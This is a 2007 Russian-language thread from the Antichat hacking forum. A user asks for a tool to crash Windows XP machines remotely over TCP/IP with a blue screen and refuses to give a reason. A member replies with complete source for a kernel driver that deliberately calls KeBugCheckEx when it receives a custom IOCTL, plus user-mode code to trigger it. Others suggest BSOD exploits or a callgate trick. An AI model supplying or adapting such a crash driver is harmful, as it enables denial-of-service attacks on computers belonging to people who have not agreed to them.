Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   Удаленный BSOD (https://forum.antichat.xyz/showthread.php?t=36148)

Zitt 22.03.2007 23:14

Удаленный BSOD
 
Возможно ли реализовать такое?
Вобшем надо прогу клиент-сервер чтоб удаолённо мона было вызывать BSOD на WinXPsp2 (без обнов)

_Great_ 23.03.2007 01:12

а почему нет.
сервер + драйвер будут принимать запросы, драйвер будет вызываться и генерить бсод.
клиент будет слать запрос на бсод.

только вопрос - нафига?

Zitt 23.03.2007 01:32

Цитата:

сервер + драйвер будут принимать запросы, драйвер будет вызываться и генерить бсод.
клиент будет слать запрос на бсод.
Можеш исходник накидать?
Да забыл сказать конект надо по Tcp/ip, типа вводиш ип жамкаеш кнопку и удалённая тачка в дауне.

Цитата:

только вопрос - нафига?
Нужно...

TaNkist 23.03.2007 08:18

В принципе если винда без обновлений, то можно просто на тачке какой-нибудь эксплоит , вызывающий BSoD, запускать. Но это не универсальный метод.
Драйвер убийца вместе с загрузчиком прилагаются к книжке Шнайбера Недокументированные возможности Windows 2000

_Great_ 23.03.2007 17:43

Че там писать то

Код:

#define _X86_
#include <ntddk.h>

UNICODE_STRING DeviceName;
UNICODE_STRING SymbolicLinkName;
PDEVICE_OBJECT deviceObject;

#define IOCTL_CRASH_SYSTEM      CTL_CODE( FILE_DEVICE_UNKNOWN, 0x01, METHOD_BUFFERED, FILE_ANY_ACCESS )
NTSTATUS DriverIoControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
    PIO_STACK_LOCATION pisl    = IoGetCurrentIrpStackLocation(Irp);
        NTSTATUS          status  = STATUS_UNSUCCESSFUL;
        ULONG              BuffSize = pisl->Parameters.DeviceIoControl.InputBufferLength;
        PUCHAR            pBuff    = (PUCHAR)Irp->AssociatedIrp.SystemBuffer;

        Irp->IoStatus.Information = 0;

        if( pisl->Parameters.DeviceIoControl.IoControlCode == IOCTL_CRASH_SYSTEM )
                KeBugCheckEx( IRQL_NOT_LESS_OR_EQUAL, &KeBugCheckEx, HIGH_LEVEL, &KeBugCheck, &DbgPrint);

    Irp->IoStatus.Status = status;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return status;
}

NTSTATUS DriverCreateClose(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
    Irp->IoStatus.Information = 0;
    Irp->IoStatus.Status = STATUS_SUCCESS;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return STATUS_SUCCESS;
}

void DriverUnload(IN PDRIVER_OBJECT DriverObject)
{
        IoDeleteSymbolicLink (&SymbolicLinkName);
        if(deviceObject)
                IoDeleteDevice (deviceObject);
}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
{
        NTSTATUS status;

        RtlInitUnicodeString(&DeviceName, L"\\Device\\crashd");
    RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\crashd");

        status = IoCreateDevice(DriverObject,
                                    0,
                                                        &DeviceName,
                                                        FILE_DEVICE_UNKNOWN,
                                                        0,
                                                        TRUE,
                                                        &deviceObject);
       
        if (!NT_SUCCESS(status))
        {
                return STATUS_UNSUCCESSFUL;
        }
       
        deviceObject->Flags |= DO_BUFFERED_IO;
        status = IoCreateSymbolicLink(&SymbolicLinkName, &DeviceName);
        if (!NT_SUCCESS(status))
        {
                IoDeleteDevice(deviceObject);
                return STATUS_UNSUCCESSFUL;
        }
        DriverObject->DriverUnload = DriverUnload;
        DriverObject->MajorFunction [IRP_MJ_CREATE] =
          DriverObject->MajorFunction [IRP_MJ_CLOSE ] = DriverCreateClose;
          DriverObject->MajorFunction [IRP_MJ_DEVICE_CONTROL ] = DriverIoControl;

        return STATUS_SUCCESS;
}

Использовать примерно так в ринг3:

Код:

HANDLE hFile = CreateFile( "\\\\.\\crashd", GENERIC_READ, .... );
DeviceIoContol( hFile, IOCTL_CRASH_SYSTEM, 0, 0, ....);


Zitt 23.03.2007 22:53

_Great_, пасиба большое...

_Great_ 23.03.2007 23:39

Надеюсь ты знаешь, что на момент вызова CreateFile драйвер должен быть уже загружен?

sn0w 27.03.2007 18:15

нах вообще драйвер???????????? калгейт, епта и irql в смятку, правда попрет не дальше хрюшки


Время: 14:14